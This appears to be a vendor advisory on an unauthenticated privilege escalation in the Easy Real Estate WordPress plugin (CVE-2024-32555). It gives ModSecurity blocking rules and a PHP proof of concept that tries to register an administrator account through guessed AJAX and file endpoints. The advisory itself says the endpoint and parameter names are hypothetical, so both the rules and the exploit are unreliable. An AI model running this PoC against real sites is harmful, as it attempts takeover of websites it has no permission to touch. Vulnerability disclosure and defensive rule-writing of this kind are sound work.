Atomic Edge analysis of CVE-2024-32555 (metadata-based): The Easy Real Estate plugin for WordPress, versions up to and including 2.2.9, contains an unauthenticated privilege escalation vulnerability. The flaw allows any remote attacker to elevate their privileges to that of an administrator without requiring any authentication. With a CVSS score of 9.8 and a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, the vulnerability is rated critical. The affected component is the plugin’s handling of user registration or role assignment, as inferred from the CWE-269 classification.
Root Cause: The root cause is improper privilege management (CWE-269). Atomic Edge analysis infers that the plugin fails to validate the user’s role or capability when processing a request that modifies user privileges. This likely occurs in an AJAX action or a direct POST handler that is accessible to unauthenticated users. The plugin may accept a user-supplied role parameter or directly assign administrator privileges during registration without checking if the request originates from an authorized user. Since no source code diff is available, these conclusions are inferred from the CWE and the vulnerability description; they are not confirmed from code.
Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with an action parameter likely named after the plugin, such as easy_real_estate_register or similar. The request would include parameters to create a new user or modify an existing one, with a role field set to administrator. Alternatively, the attacker might target a direct PHP file within the plugin directory. Atomic Edge research indicates that the exact parameter names cannot be confirmed without the source code, but the attack vector is network-based and requires no authentication. A proof-of-concept script that attempts to register an administrator account is provided below.
Remediation: The fix for this vulnerability likely involves adding proper capability checks and nonce verification to the vulnerable function. The plugin should ensure that only users with the manage_options capability (typically administrators) can perform privilege-related actions. Additionally, the plugin should validate and sanitize any role parameter to prevent arbitrary role assignment. Since the patched version is 2.3.0, the developer presumably implemented these checks. Atomic Edge analysis recommends that all users update to version 2.3.0 or later immediately.
Impact: Successful exploitation allows an unauthenticated attacker to gain administrator-level access to the WordPress site. This leads to complete compromise of the website, including the ability to install malicious plugins, modify content, steal sensitive data, and potentially execute arbitrary code on the server. The high confidentiality, integrity, and availability impacts are consistent with the CVSS vector.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2024-32555 (metadata-based)
# This rule blocks unauthenticated privilege escalation attempts via the Easy Real Estate plugin.
# It targets the likely AJAX action and role parameter based on vulnerability metadata.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2024-32555 via Easy Real Estate AJAX privilege escalation',severity:'CRITICAL',tag:'CVE-2024-32555'"
SecRule ARGS_POST:action "@streq easy_real_estate_register" "chain"
SecRule ARGS_POST:role "@streq administrator" "t:none"
# Alternative rule for direct file access (if applicable)
SecRule REQUEST_URI "@beginsWith /wp-content/plugins/easy-real-estate/"
"id:20261995,phase:2,deny,status:403,chain,msg:'CVE-2024-32555 via Easy Real Estate direct file privilege escalation',severity:'CRITICAL',tag:'CVE-2024-32555'"
SecRule ARGS_POST:role "@streq administrator" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-32555 - Easy Real Estate <= 2.2.9 - Unauthenticated Privilege Escalation
$target_url = 'http://example.com'; // Change to the target WordPress site
// Step 1: Attempt to register a new administrator user via the plugin's AJAX action.
// Assumption: The vulnerable action is 'easy_real_estate_register' and it accepts a 'role' parameter.
// This is inferred from the CWE and plugin slug.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$data = [
'action' => 'easy_real_estate_register', // Hypothetical action name
'username' => 'attacker_admin',
'email' => 'attacker@example.com',
'password' => 'P@ssw0rd!',
'role' => 'administrator',
// Additional parameters may be required, such as nonce, but since the vulnerability is
// unauthenticated, nonce might be missing or bypassable.
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Response code: $http_coden";
echo "Response body: $responsen";
// Step 2: If the above fails, try an alternative endpoint or parameter.
// Another common pattern is to use the 'action' parameter with a different name,
// or to target a direct PHP file.
// Example alternative: direct file access
$direct_url = $target_url . '/wp-content/plugins/easy-real-estate/includes/register.php';
$data_direct = [
'user_login' => 'attacker_admin2',
'user_email' => 'attacker2@example.com',
'user_pass' => 'P@ssw0rd!',
'role' => 'administrator',
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $direct_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data_direct));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch);
$http_code2 = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "Alternative response code: $http_code2n";
echo "Alternative response body: $response2n";
// Note: This PoC is based on metadata and assumptions. The actual vulnerable endpoint and
// parameter names may differ. Use only on systems you own or have permission to test.
